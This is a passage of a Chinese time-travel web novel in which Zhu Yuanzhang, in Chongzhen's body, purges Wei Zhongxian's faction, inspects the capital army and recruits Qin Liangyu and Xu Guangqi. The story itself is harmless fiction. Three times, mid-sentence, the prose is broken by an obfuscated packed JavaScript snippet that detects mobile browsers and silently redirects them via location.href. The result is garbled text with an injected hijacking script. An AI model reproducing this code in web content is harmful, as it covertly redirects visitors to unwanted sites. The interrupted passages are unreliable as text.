《[天幕]当朱元璋成为崇祯帝》 3. 第 3 章 朝会在一片惨淡气氛中收场。 当然,这里的惨淡,主要是指朝臣们的惨淡。 更准确一点,是指阉党。 天幕安静下来以后,朱元璋二话没说,先把五虎、五彪等人全部丢进了牢里,不给他们一点转移财产的机会。 其中,五彪里面就有锦衣卫指挥使许显纯。 听说许显纯被抓,锦衣卫很是混乱了一会儿,不过很快就被英国公张维贤带的队伍平息了。 当朱元璋处理好这事,回到乾清宫的时候,已经是下午了。 这期间,朱由检在他旁边絮絮叨叨了大半天,朱元璋还是一声不吭。 朱由检已经开始怀疑自己弄错了。 难道其实他真的就是一缕幽魂,根本没人能看见、没人能听见? 而眼前的这个人,已经完全继承了他的样貌、身形、记忆和身份。 或者说,他早就已经在阴曹地府,只不过还留有几分神志,待到他意识到自己死了,就会彻底灰飞烟灭。 等等……他现在不就意识到自己很有可能是死了吗?! 朱由检忐忑地等了好一会儿。好像还有意识,手脚能动,脑子能转,嗯,还行。 他气馁地一屁股坐在乾清宫的御案上,看着这夺了他躯体的可恨妖怪吸溜了几口筭子面,然后开始批阅奏折。 看着看着,他“咦”了一声,犹犹豫豫的: “这筭子面是你问了王承恩有没有,厨子特地给你做的,而太.祖皇帝的早膳中常有这道菜。你的自称是‘咱’,听说太.祖皇帝常常这样自称。还有,我见过太.祖墨宝,你的字与他十分相像。” “难不成……你是太.祖皇帝?” “太.祖皇帝复活,然后活到了我的身体上?”朱由检似乎被自己的猜测逗笑了,“这也太异想天开了,世间真有这样的事情吗?可我现在都这样了,再稀奇的事也不是没有可能。” “不管你能不能听到,你就当我是自言自语吧。”朱由检跳下御案,立在朱元璋面前。 “今日天幕出现,你在朝堂上反应那么快,顷刻之间就把‘天要亡大明’的预兆变成了‘上天为大明推演未来’的天命恩赐。这不正与《周易》说的‘大道五十,天衍四九,人遁其一’相合?[1]” 朱由检拎住自己正在微微颤抖的手腕:“我看到天幕上说我的结局,说我自缢而亡,说我的遗言,说大明江山亡在我的手里……那时候,我的大脑一片空白,根本没办法思考。你做的比我好多了。” “……我拿你没有任何办法。”朱由检慢慢地说,“你肯定能听到我的话,但我没有什么东西可以和你交换,如果你铁了心不理我,我就是一个孤魂野鬼。没人看见我、听见我,你马上就会取代我。而最令我不甘心的是,你或许比我更适合坐这个位置。” 朱元璋:…… 说实话,他就是这么打算的。 反正没人能看见朱由检,他最多把他当成个会说人话的蚊子。烦是烦了点,但也不碍着自己什么,蚊子还会咬人吸血呢,朱由检连人都碰不着。 但是,当朱由检咬着牙,一个字一个字说他不甘心的时候,朱元璋忽然想起了朱允炆。 他撒手人寰的时候,朱允炆二十一岁。 那时候,他觉得朱允炆过于年轻,为了确保他能坐稳皇位,朱元璋不惜将开国功臣砍的十不存一,才勉强安心。 而眼前的这孩子,甚至比朱允炆还年轻四岁,尚未及冠。 朱元璋摩挲了一下奏折的纸面,突然开口:“允炆怎么样了?” ……但令他不解的是,当他问出这个问题的时候,朱由检的脸上露出了一种既尴尬,又微妙的表情。 难道允炆这皇帝当的不太好?这孩子年少气盛,处事确实略有急躁,但心性不错,也是他期待的仁君,他还给他留了藩王们镇守边疆。 记得当年,自己问允炆,如果他的叔叔们造反怎么办?他回答说,他会先以德服人,以礼仪感化他们,不行的话就削减或更改他们的封地,最后再不行,就削藩[2]。 按理来说,允炆应该已经有独当一面的能力了。 朱由检组织了一下措辞:“建文帝他……” “建文帝?”朱元璋皱着眉头,“他的庙号呢?” “没有庙号。”朱由检深呼吸,一口气全秃噜了出来,“他听了大臣们的话,决定削藩,就在要削燕王朱棣的时候,燕王朱棣,也就是永乐大帝,明成祖,以清君侧之名,从顺天府北平起兵,一路打到了当时的首都应天府。” 朱元璋瞪着眼睛,仿佛没反应过来他说了什么。 半晌,他不可思议道:“你从头再说一遍。” 这一段历史毕竟不大光彩,所以其实朱由检没学的很详细,他回忆了一会儿,开口道: “建文帝继位以后,首先不许您的儿子们吊唁您,叫他们全部回到自己的封地去,那会儿永乐大帝正走到半当中,不得已回去了。” 朱元璋的火气当即窜了上来:“不许?他那些叔叔们,是咱留给他守护疆域的啊!连咱最后一面也不给见?咱确实许他削藩,但这动手也太快了!不对,你先说说削藩是怎么回事?” 朱由检继续回忆书上的细节:“建文帝听信齐泰、黄子澄、方孝孺等人,决意削藩,首先是继位第三个月,将周王废为庶人,流放云南。接下来是代王、齐王、湘王、岷王,其中,湘王自焚而死。” “荒谬、荒谬啊!”朱元璋气的手都发抖了,“齐王、岷王这几个,确实行事荒唐,可为何要对湘王下手?允炆当年明明答应咱,要以德服人啊!” 自焚而死,多么痛苦啊!朱元璋摸了摸自己的心脏,仿佛看到了湘王朱柏的结局。 那是个他并不算很喜欢的孩子,因为私会外戚,他赐死了这孩子的外祖父,冷落了他的母亲,不许二人相见。 朱元璋忽然有点后悔,这孩子的心里恐怕是怨恨的,否则也不会如此决绝。 这孩子脾气好,能力不算突出,但也不差。他原本只指望他做个逍遥人,谁料竟如此刚烈。 朱元璋揉了揉太阳穴,拉回话题:“朱允炆削藩虽操之过急,但为了保住他的皇位,也算情理之中。然后朱棣这小子就反了么?” 朱由检摇摇头:“那时候还没有,建文帝继位后三年左右,永乐大帝还去过一趟应天府,那时候建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019923|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文帝让他平安回到了封地。后来。永乐大帝将三个儿子送去应天府,建文帝也把他们放回了顺天府。” 朱元璋扼腕叹息:“养虎为患啊!有魄力连削五个藩王,怎么没魄力把朱棣留下?谁能看不出来他想要做什么?” 朱由检继续:“后来,大概是听到了建文帝决心下手的风声,永乐大帝在封地装疯,例如夏天裹着棉袄烤火、露宿街头、在街上抢百姓的饭吃等等。” 朱元璋点评:“狼子野心,城府极深。然后朱允炆派人去削他的藩,朱棣这小子心一横就决定反了?” “是。” “接着朱棣真的从顺天府打到了应天府?” “没错。” “他怎么做到的?我是说,朱允炆是怎么被打下来的?”朱元璋迷惑不解,大为震撼,“他至少有五十万军队和足额的粮草,沿途州府也肯定是向着正统皇帝的,而朱棣能拉起来的兵马,有三千就算很不错了。” “据说,当年永乐大帝八百人起兵。”朱由检肯定了朱元璋的猜测。 “……”朱元璋不信邪,“我给他留的耿炳文呢?” “呃,说出来您可能不信,但这也不一定是真的。”朱由检开始打补丁,“传说,建文帝对耿炳文说……请不要让他背上杀害叔叔的罪名。” “糊涂啊!糊涂!”朱元璋气的站起来在房里踱步,“他对亲人的仁爱这会儿倒用上了,却为何不留着用给那些被他流放的叔叔们?再说了,难道他背上被叔叔打得屁滚尿流的名声,会更好听一点么?” 朱由检不说话了,他感觉朱元璋是在两头骂,既骂朱允炆不中用,又骂朱棣有反心。 这不是他这个小小小小小辈能掺和的话题。 朱元璋感觉自己气了个倒仰。 偏偏这话题还是他自己开的头。 “所以,英国公张维贤,其实就是先人当年帮着朱棣造反,才封的爵位?” “的确如此。” “古今罕有啊!”朱元璋拍大腿,“藩王起兵当上皇帝,真是能耐了。我单知道他能打,却没料到他如此能打。” 他的心情相当复杂,为了朱允炆能顺利继承皇位,他颇费了一番工夫,结果被人打成这个样子,真真是恨铁不成钢! 偏偏反了朱允炆的是他亲儿子,而且亲儿子当这皇帝勉勉强强还算当的不错。 沉默良久,朱元璋道:“罢了,造化是子孙自己的,这已经是两百年前的事情了,时也命也。” 而现在,更让他头疼的是眼前的这烂摊子。 朱元璋垂下眼,两本奏疏被并排摆在他的桌案上。 一本认为,应当引进、推广、应用西式火炮技术,并且铸造三层炮台,分别放置大小不一的铳炮,以加强军事实力,并提出了具体的制造方法和计划。 另一本则坚决反对“异地种植农作物,就会导致发育不良”的观点,认为应当大力推行甘薯的种植,从而应对旱灾的蔓延,并详细讲述了如何种植甘薯。 这两封奏疏,均出自于同一人之手。 朱元璋的目光落到了作者的名字上。 万历三十二年进士,前詹事府少詹事,徐光启。 4. 第 4 章 天启七年九月,宫里的秋海棠悄悄地冒了芽,月白色的花瓣绽出嫩黄的花蕊,在秋风中摇摇晃晃。 朱元璋移开了目光。 可能是因为灵魂太虚弱了,朱由检在与他谈过朱棣的事情以后,就陷入了沉睡,团成一团,虚虚地趴在他的肩膀上,安静得仿佛没有出现过。 十七年的时间说短不短,说长也不长。 倘若你知道自己呕心沥血创造的事业,将会在十七年后分崩离析,你会怎么做呢? 朱元璋深吸一口气,翻开了堆成山的奏疏。 顺天府——托他好大儿的福——现在是首都了,上下的官员,不说全部,也至少有五分之四是阉党成员。 所以眼前的奏疏,内容或许不尽相同。 有些是痛陈阉党之祸,有些是赞美他的果决,还有些表达对天幕的忧虑,说是妖道作祟。 朱元璋看了一封,又看了一封,接着,他就不看了。 数十年的朝堂经验让朱元璋一眼就明白,他们都是为了同一件事情。 天子呀!你是圣明的君主,相信你一定能够分辨出来,我们都是被逼的啊!魏忠贤的势力那么大,我们如果不对他低头,他睚眦必报的性格一定会让我们遭到报复的! 更何况,你连魏忠贤这个首恶都没有当场砍头,你好意思对我们做出处理吗? 朱元璋的回答是,好意思。 首都上下的官员,都是阉党?不要紧,刚好有个被称作留都的南京,有一整套朝廷班子,六部俱全,把人叫过来用就是了。 什么?你说那里的官员都是被发配去养老的? 谁允许了?他朱元璋这样了都没养老呢! 可是,南京的官员来到北京,就算是快马加鞭,也需要花费快一个月的时间。 在这一个月里,天幕静悄悄的,就这样安静地悬浮在空中,再也没有出现过文字,仿佛天幕谶言从未发生。 不过,朱元璋仍过的相当忙碌。 首先是京城的军队。 这些能够组织起来的有生力量,大概有两处。 第一处是京营,由英国公张维贤统领。 朱元璋突击检查了京营。 这号称三十八万人的京营,数额连三十八万的一半都没到。 而且余下的兵士里面,老态龙钟者有之,缺胳膊少腿者有之,好逸恶劳者有之。 “你属于哪个营?伍长是何人?你们多久操练一次?操练的内容又有哪些?”朱元璋抓住一个穿得破破烂烂的兵勇,问道。 大约是看朱元璋穿着平头百姓的衣服,那个缺了牙的小兵根本没把他放在眼里,满怀着不屑啐道:“关你鸟事?” 朱元璋没说话,身边的张维贤已经是汗如雨下。 “无事。”他拍拍张维贤的手,情真意切道,“张公统领这么多人,哪能面面俱到呢?张公助我平息了锦衣卫的纷争,我应当好好感谢张公才是啊!” “不敢当,不敢当。”张维贤更加紧张了,他原不知道,少年天子,看似和蔼可亲,却也能有如此强的压迫感。 等等……他为什么要用和蔼可亲来形容一个少年人? “我给你一个月的时间,你须得仔细清查京营的人数。”朱元璋道,“这个任务必定是既要能得罪得起人、又要十分仔细才能做的。只有你这个从永乐帝时候就封了公、又传到今日的勋贵,我才放心啊!” 张维贤感激涕零,连连点头称是。 等朱元璋平安回到宫里,张维贤才算是松了一口气。 刚刚,他苦口婆心,以死相逼,坚决反对帝王出宫,都没有能够成功阻止。 相反,年轻的君主对他的种种反应表现得相当平静,他说:“我欲亲自探访京营,如果不成,我将夜半出行。如此一来,我若是在哪里出了岔子,后果如何,张公是了解的。” 张维贤屈服了。 不过,他还是有着自己心中的小算盘的。 天子体谅他事务繁忙,对京营管辖不严,只要他清查京营人数。 他自然知道那些人去了哪里,大部分人都是逃了,但将领们为了能够继续领粮饷,这部分人还是登记在册。 还有部分是被勋贵世家、京营将领们充做了自己的下人和长工,为他们耕种田地,攫取利益,即“占役”。 总之,实际还在的兵士约有十万人,但除去老弱病残、散兵游勇之外,大概只剩下了两万人。 对此,张维贤心知肚明,毕竟身为掌管京营的最大领导,他才是获益最大的人。 如今新官上任三把火,天子想要清除时弊,也在情理之中。 只是,谁肯把握到手中的资源和权力轻易交出来呢? 张维贤盯着眼前人,眸中闪动着火光,却不得不强装笑意:“十七岁的天子,又新居高位,总是野心勃勃的,总也不好拂了天子的意,你我各退一步,可好?” … 朱元璋回到内廷,王承恩已经集齐了魏忠贤留下来的内操军。 足足有一万多人,都是从东厂和锦衣卫里优选出来,浩浩荡荡列队在xx门前,眼见着都是年轻力壮的小伙子、或者年轻但不知道力不力壮的小太监,就是军纪不怎么严明,老远就听到乱哄哄的一片。 朱元璋:…… 有这么一支队伍,魏忠贤想要发动政变,倒真的可以京营那帮良莠不齐的老兵油子碰一碰。 不过如果他真这样做了,恐怕各地拉起清君侧大旗的,就远不止万数了。 王承恩见朱元璋来了,躬身道:“皇爷,这里就是全部了,里头有三千五百东厂番子,又有六千锦衣卫,另有八百余内宦,作后勤扫洒用。” 朱元璋皱眉道:“为什么内宦的人数这么多?我那……我记得太.祖皇帝那时候,内宦数量不过百人。” 王承恩一愣,迅速回答:“回皇爷的话,永乐朝时,设东厂及外派监军,增加到了上千人。到了成化朝,又设立了西厂,当时内宦数量已到万余人,后来就一直如此了。” 朱元璋痛苦地揉了揉额角。 平心而论,他是很不喜欢太监的。 太监漂浮无根,和外戚一样,都容易祸乱朝纲。 但不得不承认,太监的权力唯一来源就是皇帝,就如同魏忠贤一样,可以轻易被提起,又被重重摔下。 没有人会为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021437|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太监说话,他们的背后没有世家、没有功臣、没有文官集团,他们与前朝的利益纠葛、党派纷争,根基浅薄,全部握在皇帝的手中。 他们或横着一条心主动切了,或在幼年不知事的时候被迫切了。 总之,切了以后,六根清净了,文人士族也都看不上了,不屑与之为伍。只有紧紧攀附皇帝,才可能争取到一点前途。 锦衣卫也是如此,没有制度保障,皇帝宠信则权倾朝野,失信则弃之如敝履。 所以,眼下无人可用之际,他们是最忠诚的群体。 但是,由谁来统领这群人,又成了一个问题。 五彪里面的田尔耕、许显纯等四人,在锦衣卫担任要职,孙云鹤则任东厂理刑官,如今他们全部被关在监狱里,东厂和锦衣卫都是群龙无首的状态。 朱元璋环视一圈,人群渐渐寂静了下来,他开口道: “尔等之前被魏逆所统领,外面的人认为你们是魏逆的同党,都劝朕把你们杀掉。” “但是,朕心里清楚,你们当中有许多人心中不愿与魏逆同流合污,只是迫于形势,没有其他出路,不得不如此。因此,朕不拘泥于此,过往罪责一概不究。接下来,尔等当尽心为我大明效力,好好当差,有功论赏,有过则罚,必定重塑纲纪。” “辅君治军,卫护京畿,朕给你们一个新的名字:翊戎卫!” “朕,给你们一条出路!” 朱元璋环顾四周,由近至远,日光为他们年轻的面容染上了淡金,变得模糊不清。 此刻,风清天阔,高远又明净。 朱元璋沉声道:“如今,我欲选出你们当中最知兵的,因此设文武两试,武试一对一捉对练习,胜者晋级,直至决出最终胜者;文试则只需回答一道题。” “选用将领、操练士兵、充实军饷这三件事,应该先做哪一件?” 巡视内操军结束身后传来内操军对练的呼喊声,朱元璋心中盘算着,京城的武装力量一定要完备,城墙也要相应加厚、加固。 届时,他御驾亲征,也须有武将留守京城。 毕竟,现在不比他在元末刚刚起兵的时候,可以一心只顾虑军事上的事情。 身为这个帝国的统治者,经济民生、官员任免、军队调度……每样都需要他操心,但如果真的样样操心,他一定顾不过来。 就在这时,王承恩迈着轻而缓的步调走来:“陛下,您吩咐要等的人,现下已经到了,已在皇极门外的平台上设座了。” 朱元璋豁然起身。 皇极门外的平台上,朔风凛凛。一个身着绯色织金凤纹朝服,外头罩着石青色的缎绣罩甲正在等候,一见朱元璋来,就要跪下行礼。 “总兵请起。”朱元璋过去扶了一把,没让眼前人真的跪下。 “总兵的速度挺快,我本想着,你带着军士与辎重,总会比南京的官员们来的晚些,谁料到你竟已经到了。”朱元璋笑道,“一路急行军,吃了不少苦吧?” “陛下急召,臣不敢不从命。”眼前的妇人眼眸中闪动着细碎微光,微微霜白的鬓边插着一支白玉簪,露出一个爽朗的笑,“臣秦良玉,叩见陛下!” 5. 第 5 章 对于秦良玉,朱元璋的第一印象是高,实在是高! 虽然说他现在的身体是朱由检的,尚未及冠,估计还能再长高些,但秦良玉足足比他高了半个头还多! 她的气质相当豪迈,目光坚毅,衣衫遮不住她结实的肌肉,一看就是令人信服的领兵将军。 朱元璋清了清嗓子,让秦良玉坐下: “秦总兵,闲话少叙,咱问你,你一路行军过来,看见民间情况如何?” 秦良玉收敛了笑意,她微微抬头,似乎是在回忆:“臣从石砫出发,走蜀道一路行至夔州,再到襄阳、开封、保定,而后到京城。 “四川境内,奢崇明叛乱已经六年,如今贼众超过万人,如今奢逆客居在水西一带,时常派遣小股兵力劫掠四川、重庆的交界处,踪迹难测。 “奉陛下的诏令,臣此次进京只带了五百人,绝大部分白杆兵都留在石砫,由臣的儿子马祥麟与儿媳张凤仪统领,继续剿灭奢逆。” 秦良玉一边说,一边谨慎地观察朱元璋的神色,确定帝王没有不高兴,才继续往下说。 “关于一路的民情,自然有地方官上奏,为陛下担忧操劳,臣一介武将,只说自己看到的东西。 “天幕显现,大家都知晓了这是上天在为大明推演生机,但也有不知事的愚民哗众取宠,好在被地方长官教育劝解。 “因为今年的旱灾,四川境内的一斗米需要八钱,比往年高了大约三成。不过秋月雨水渐渐丰沛,希望接下来的情况能够好些。 “臣沿途经过湖广、河南一片,发现逃荒的流民比起往年来更多,查问下来,发现是陕西旱灾与流贼聚众作乱的缘故。” 秦良玉露出不忍的神情,她想继续讲一讲,讲讲陕西的旱灾从两年前就开始了,但官府仍大肆征敛赋税,百姓困苦难安。 她看见饥民吃野草、树叶,她看见他们四散奔逃……只为了能活下去,能吃上一口饭。 即便是这样,有些妇人、老人与幼童孱弱不堪,甚至连逃离的力气都没有! 她看见官府为了收上足数的赋税,实行保甲连坐的手段,十户人家为一个整体,如果其中一户人家逃了,剩下的九户人家,就要共同交足十户的赋税。 如果九户人家都逃了,那么剩下的那户人,就需要补足逃跑之人的赋税。 这样一来,即使有零星几户并不想离开故土,也不得不远走他乡。 所以,在行军途中,她甚至能看到整个村庄都逃跑一空的景象。 今年七月,王二等人举起大旗在陕西起义,着实不是什么好征兆。 可是,秦良玉知道,新君刚刚继位,在摸清这位君主的脾性之前,一言一行都应当小心再小心。 朱元璋却没有这个顾虑:“我在信王府的时候,就听说陕西有流民作乱,看来眼下已成气候了?” 秦良玉犹豫了一下,但是五十余年的人生阅历还是让她选择了沉默:“官军已经前往围剿,军容严整,训练有素,相信不日即可将流贼剿灭。” 没有从秦良玉口中问出自己想要的东西,朱元璋也不失望。 其实,民间大体是什么情况,他大概是可以想象到的。 他出生的时候,元朝正在内乱,两派各拥立一位皇帝,打的轰轰烈烈。 好不容易打完了,朝廷里面的派系斗争依然没有停止,皇帝的政令几乎无法推行,官府横征暴敛,民不聊生。 民不聊生,多么短促的一个词语,仿佛用这一个词就能囊括他的青年时期。 他看见母亲向龙王爷求雨,恭敬地用粗布擦一擦身体,对着村口的土台跪下,把仅存的干瘪杂粮供上去,祈求龙王爷能大发善心,降下甘霖。 朱重八不明白。 如果世间真的有龙王爷,他为什么看不见那龟裂的土地?他为什么看不见那枯黄的幼苗?他为什么看不见一个母亲干涩到流不出一滴泪的眼眶? 朱重八发出泣血的控诉,质问上苍。 但他甚至不是最惨的,因为他尚且能活着去恨那不降雨的龙王爷,去恨那个驱策他们的冷血地主,去恨那个占据高位却百无一用的君主! 而他的父亲、母亲、大姊、二姊、大哥、侄儿,却再也没有这个机会了。 就这样吧,如果世间真的有神明,大概就是在告诉他,元朝气数已尽。 那时候的情景,几乎……就和将要到来的明朝一样。 年轻的君主陷入了短暂的沉默,秦良玉没有打扰他,而是静静地等待回应。 朱元璋没有再继续问下去,而是说起了另一件事。 “我令秦总兵来京城,其实是有一事,思来想去,唯有创立白杆军的你很合适。” 秦良玉忙道:“不敢当,请陛下吩咐。” “我要你为我操练翊戎卫,把他们练成人人可独当一面的军队。另外,我给你安排了一位督军。”朱元璋示意王承恩把人带过来。 “说是督军,其实是为了避免你被攻讦。” 秦良玉面色如常,身为女子,她对此早有心理准备。 新君在天幕现世以后,并没有如天天幕所说尽除阉党,只是把首恶全部关押,而魏忠贤如何处置,甚至都没传出风声,对此民间已有议论。 不知道新君下一步会如何行动? 正当她这么想着,一位头发花白、精神矍铄的白胡子男人被王承恩带了过来。 他神情端肃,仪态端正,目光锐利,看着比她年岁还要大。 “这是徐先生,徐光启。我起复他为礼部尚书,今早刚下的诏书。你们二人忠勇干练,朕都很信得过,朕将翊戎卫交给你们。”朱元璋的目光扫过眼前的二人,“务必使他们成为可用之人。” … 朱元璋回到乾清宫的时候,余光瞥到一直趴在自己肩膀上的小团子动了动。 他转过头去看。 “唔……?”趴在肩膀上的小人舒展开了身体。 朱由检揉了揉眼睛,他似乎做了很沉、很沉的梦。 “你睡了十几天,我以为你快要魂飞魄散了。”朱元璋算了算日子,“是因为魂魄过于虚弱了么?” 朱由检看看自己半透明的掌心:“……我不知道。” 时间已经过去了快半个月? “我感觉自己似乎做了很长的梦,但我想不起来我梦见了什么。”朱由检的表情相当坦然。 他一滚,就从朱元璋的肩膀上下来了。 变小了的好处也有,就是更加灵活。 朱由检期期艾艾挤到朱元璋身边:“太.祖爷,我有个问题想要请教,您对魏忠贤的处置,干脆利落,可我想不明白,您为什么不当场将他凌迟?以儆效尤,震慑天下意图弄权之人,不是更好么?” 朱元璋瞥了他一眼:“你原本的打算是什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027742|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 朱由检挺了挺胸膛:“自然是尽除阉党!首恶如魏忠贤、客印月、崔呈秀之流尽数凌迟,我看天幕上说,定了二百六十一人为阉党,这个数字勉强差不多吧,毕竟也不能把干活的人全杀了。” 朱元璋挑眉:“你怎样确定谁是阉党?” 朱由检答:“我登基以来,已经收到不少奏疏,有些是阉党请辞的,有些是检举阉党,想要撇清干系的,还有些在地方当官的官员,大约还摸不清形势,还想给魏忠贤建造生祠的。哦对了,我记得在南京,魏忠贤的祠堂修在了皇陵边……” 朱由检看着朱元璋额头上青筋猛跳,越说越小声。 朱元璋咬牙道:“我竟不知道有此事,真应该把他打一顿板子再丢出去。” “你想除尽阉党,那么接下来,你打算任用哪些人?” 朱由检想了想,慢慢作答:“首先是被魏逆贬谪过的人,例如韩爌、钱龙锡等人,让他们去办这个案子,将阉党全部找出来。 “另外,新的科举考试也应当准备起来,还有一些素有清誉的人,大多是东林党人,我想应当起用一批,但也要仔细分辨,不能让整个朝堂全部被东林党占了去。” 朱元璋停下了批奏折的手,看着眼前一脸认真的孩子,开口道: “你对阉党恨之入骨,欲将其全部杀之而后快。我却不认为如此。 “一但阉党被全部除尽,新的举子还没办法成长为镇守一方的地方官,这就一定会导致青黄不接的局面。 “朝廷没有可用的人,就算你小心防范,东林党也一定会兴起。此时东林党一家独大,在朝堂内没有对手,不过是另外一个阉党罢了。” 窗外,秋雨蒙蒙,烟云缭绕。 朱元璋倾耳听了一会儿雨声,继续说: “东林党不像阉党,他们的背后是文人风骨,是江南士族。 “江南历来富庶,他们既掌握了国家的大半钱粮,也擅长读书、考学、做官。 “从个人能力而言,江南学子的确远胜北方学子。但是,他们的起点是不一样的,这也是我当年要让科举分作南北榜的原因。 “如果长期全国招录举子,那么整个朝堂都会是江南士族的天下,朝中没有北方人,自然也不会有人为北方百姓发声。在这样的情况下,绝对的公平也是一种不公平。 “在朝中没有对手,那么就会更加贪婪,他们想要掌控整个帝国,他们会把矛头转向皇权,也就是你。 “他们不会直接针对你,只是你会发现,朝廷里所有人都是忠贞之士,他们博学机敏,针砭时弊,对待军机大事都各有各的观点,而且每个人的观点都有自己的可取之处。 “比如,陕西王二作乱,他的造反是有原因的,一是因为陕西连年大旱,粮食歉收,本来粮食就少;二是因为征税层层逼人,官府问百姓要50两银子,其中10两给乡绅,10两给知县,10两给知府,10两给户部,最后到国库里的,只有最后10两。 “而你要将钱拿去赈灾,可又是这样的层层盘剥,真正用在买粮食上的,恐怕连1两银子都没有。” 朱元璋收回看向窗外的目光,神色格外认真: “在这样的情况下,国家是愧对百姓的。你认为,对于这些造反的逆贼,是否应当以招抚为主,单独给他们粮食,让他们平安度过这次灾荒,依旧回到农田,继续做你的好百姓?” 6. 第 6 章 朱由检毫不犹豫地回答:“自然是要以招抚为主!百姓流离失所,本来就是帝王的过失。” 朱元璋没有说好,也没说不好,而是进一步提出了新的假设: “那么,你做出了决定。趁着造反流寇的数量不多、规模不大,你派遣了一个能干的官员带着钱粮,去招降他们。 “你从国库拨出去的钱粮,能够撑起他们大概三个月的生存。可是,三个月后,庄稼还是颗粒无收,辽东战事吃紧,后金野心勃勃,各处都有用钱的地方,桩桩件件都是比陕西内部一小块地方出了乱子更严重的事情。 “这时候,你的臣子告诉你,吃不饱饭的流贼是没有能力做大做强的,你不能把人和钱都耗费在那么小的一件事情上。 “只要一派遣正规官军,甚至不需要多精锐的队伍,他们便会毫无还手之力,一触即溃,死的死、逃的逃。 “这时候,你要不要剿灭他们?” 朱由检这次的回答明显比上次犹豫许多:“但是……” “但是,你派兵出去,也需要钱粮。”朱元璋把话头接了过去,“不过你知道,这只是一次性的,只要剿灭了这支小小的贼寇,就可以不再在这方面花钱。” “这次,你派遣了一个善于调兵遣将的官员,他的工作也做的很不错,流贼与官兵交手,果然毫无还手能力,稍稍交战,就一溃千里。” “这难道不好吗?”朱由检不解。 朱元璋轻轻摇了摇头: “但是,他们并没有如你想象那般被一举歼灭,而是为了保命疯狂四散奔逃。当然,这也可以理解,毕竟他们就是为了活命才起兵造反的。 “这时候,陕西的旱灾仍然没有被解决,这些人还是吃不饱饭,回到故乡,还是要面临高额的赋税。 “所以,他们没有回家,而是去往与陕西接壤的州府,分成小股,聚众作乱,老实种地的农人不堪其扰。” 朱由检沉默了,他露出不知所措的表情。 作为帝王,他太过稚嫩。 定了定神,朱元璋开口:“我问你,你的内帑里现在有多少钱?” 朱由检想了想:“大约二十万两白银。” “那么,现如今一年到头,官府能收到多少赋税?” 朱由检卡壳了一下,低下头小声道:“理论上太仓银至少应当收400万两,但是除去官员免税、欠税、地方补贴军队等,实际收上来的,只有270万两,太仓银用来给九边发饷,九边所需军饷430万两,赤字160万两。 另有粮食大约两千五百万石,绢布超33万匹。” 可能因为他面对的是太.祖皇帝,朱由检的心情无比紧张,感觉自己像是在被夫子考核的学生,即将要接受训斥。 朱元璋没生气:“辽东战事缺银子?” 朱由检忙道:“其实主要还是粮食短缺,银子不一定能买到粮食。” 朱元璋点点头,又问:“这些钱都用到哪里去了?” 朱由检又道:“金花银是用来发给宗室和百官的,近年来宗室越来越多,分封给宗室的食邑也越来越多,也就是发出去的变多了,收回来的变少了。” “太仓银发给九边作为粮饷,辽饷则是用在辽东战事上。近年来后金常常来犯我疆土,打的仗变多了,所需军饷也一并增加,再加上连年欠下的粮饷,早已是入不敷出。” “我收到辽东的战报,说因为欠饷太多,军士们闹起来了。” 说到这里,朱由检真切地发起愁来。 朱元璋看着眼前的少年人,指骨轻轻敲击桌面。 朱由检比他想象中要聪明许多,先是猜到了他的真实身份,又能在继位那么短的时间里,规划除去阉党,根据天幕的说法,他确实成功了。 只是,他过于年轻,又从来没有被当成皇位继承人培养,目光只放在眼前的表象上。 阉党作乱,那就杀阉党,如果他觉得其他人会对国家有危害,那就继续杀。 空有中兴大明的抱负,却没有对国家的整体情况的规划。 但年纪小,就还有可以教导的时间。 朱元璋道:“我下令京城之人不许买魏忠贤的房子,你觉得他会去哪里弄钱?” 朱由检苦思冥想:“或许又是要去刮百姓的钱?不对不对,他现在已无权势,阉党也人人寻求自保,不会再听他号令。” “又或许是晋商?但那片地方如今乱的很,不会有人愿意买他的账。啊……江南!” 朱由检兴奋起来:“江南多士绅,我怎么没想到呢?” “但是,他们真的会拿钱出来吗?” “会,但不会很多。”朱元璋道,“不过,只要先解了燃眉之急,之后就好办了。” 朱元璋的打算,简单来说,就是放魏忠贤去狗咬狗。 大家都不干净,我上位的时候,你们鱼肉百姓、大搞海贸但不交税、兼并土地,并且贿赂我的事情,我一笔一笔都记清楚了。 你们看看这账簿,整齐精美,条分缕析,记录了我当太监以来的所有收支,以及收集到的罪状。 什么?威胁?你说啥呢?大家做买卖自主自愿,我那几套房子,曲水流觞,幽静清雅,交通通达,设施完善,价值千金哪! 想到这里,朱元璋又开始叹气。开国伊始,他废了丞相制度,要求六部官员直接向他汇报工作,对他负责。 结果子孙精力不济,为了分摊工作量,搞出来内阁制度。 